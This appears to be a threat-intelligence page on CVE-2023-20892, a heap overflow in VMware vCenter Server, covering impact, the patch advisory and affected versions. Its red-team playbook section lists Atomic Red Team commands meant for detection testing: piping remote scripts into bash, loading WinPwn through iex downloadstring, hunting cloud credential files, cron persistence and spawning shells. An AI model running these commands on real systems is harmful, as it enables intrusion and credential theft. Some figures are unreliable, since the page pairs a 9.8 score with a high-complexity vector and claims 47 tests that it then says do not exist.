CVE-2023-20892
Overview
This vulnerability is a heap overflow caused by the use of uninitialized memory within VMware vCenter Server's implementation of the DCERPC protocol. Specifically, the flaw arises from improper memory handling during DCERPC message processing, leading to corruption of the heap. The affected component is the DCERPC protocol handler embedded in vCenter Server, which manages remote procedure calls over the network.
Vulnerability Description
The vCenter Server contains a heap overflow vulnerability due to the usage of uninitialized memory in the implementation of the DCERPC protocol. A malicious actor with network access to vCenter Server may exploit heap-overflow vulnerability to execute arbitrary code on the underlying operating system that hosts vCenter Server.
Impact
An attacker with network access and no authentication can exploit this heap overflow to execute arbitrary code on the underlying operating system hosting vCenter Server. This can lead to full system compromise, including unauthorized control over virtual infrastructure management. The CVSS vector (AV:N/AC:H/PR:N/UI:N) indicates remote exploitation is possible but requires high attack complexity, with no privileges or user interaction needed. Successful exploitation can result in data breaches, service disruption, and lateral movement within the environment.
Solution
VMware recommends applying the security updates provided in advisory VMSA-2023-0014, which addresses this heap overflow in vCenter Server versions 7.0 and later. Administrators should upgrade to the patched vCenter Server builds as specified in the advisory. Detailed patch instructions and version-specific fixes are available at https://www.vmware.com/security/advisories/VMSA-2023-0014.html. No alternative mitigations or workarounds are noted in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The heap overflow vulnerability present in vCenter Server arises from the mishandling of uninitialized memory within the implementation of the Distributed Computing Environment Remote Procedure Call (DCERPC) protocol. This flaw allows an attacker with network access to the vCenter Server to manipulate the heap memory, potentially leading to arbitrary code execution on the underlying operating system. The exploitation of this vulnerability is particularly concerning due to the critical role vCenter Server plays in managing virtualized environments, making it a prime target for malicious actors seeking to gain unauthorized access or control over virtual infrastructure.
Attack vectors for this vulnerability are primarily network-based, as an adversary only needs to establish network access to the vCenter Server. Given that vCenter Server is often deployed in environments with extensive network connectivity, the potential for exploitation is significant. Attackers could leverage this vulnerability to execute crafted requests that trigger the heap overflow, allowing them to inject and execute arbitrary code. Such exploitation could lead to a complete compromise of the vCenter Server, enabling attackers to manipulate virtual machines, access sensitive data, or disrupt services.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on vCenter Server for their virtualization needs. A successful exploitation could lead to unauthorized access to virtual machines, data breaches, and significant operational disruptions. The business risks associated with such incidents include financial losses, reputational damage, and potential regulatory repercussions, especially if sensitive data is exposed or if the organization fails to meet compliance requirements. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses a severe risk to affected systems and their environments.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in their systems. Additionally, monitoring network traffic for unusual patterns or unauthorized access attempts can provide early warning signs of exploitation attempts. Applying patches and updates provided by VMware is crucial, as these updates often contain fixes for known vulnerabilities. Furthermore, organizations should consider implementing network segmentation to limit access to vCenter Server, thereby reducing the attack surface and minimizing the risk of exploitation.
In conclusion, the heap overflow vulnerability in vCenter Server represents a significant threat to organizations utilizing this platform for virtualization management. The potential for arbitrary code execution, combined with the critical nature of the services provided by vCenter Server, necessitates immediate attention and action from affected organizations. By understanding the technical details, potential attack vectors, real-world impacts, and effective detection and mitigation strategies, organizations can better protect their virtual environments from this and similar vulnerabilities.
CSURFACE threat intelligence has observed a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-20892, rising by nearly 45% to a current level that places it in the 90th percentile of exploit likelihood. This upward trend, while not yet classified as rapidly increasing, signals growing interest or potential preparatory activity among threat actors targeting VMware vCenter Server’s heap overflow vulnerability. Although no new exploit code or active exploitation campaigns have been detected by our telemetry, the elevated EPSS score suggests that the vulnerability is becoming more attractive or feasible for exploitation in the near term. For defenders, this shift underscores the need for heightened vigilance and prioritization of this vulnerability within patch management and monitoring strategies. The increased EPSS score effectively raises the threat level from a latent critical risk to one with a higher probability of exploitation, warranting closer attention despite the absence of confirmed active attacks at this time.
Affected Products (33)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Vmware | Vcenter Server | All |
cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:-:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:b:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:c:*:*:*:*:*:*
|
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:d:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1a:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1c:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1d:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2a:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2b:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2c:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2d:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3:*:*:*:*:*:*
|
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3c:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3d:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3e:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20892 |
| vmware.com |
GitHub CVE
|
https://www.vmware.com/security/advisories/VMSA-2023-0014.html |
| talosintelligence.com |
GitHub CVE
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1801 |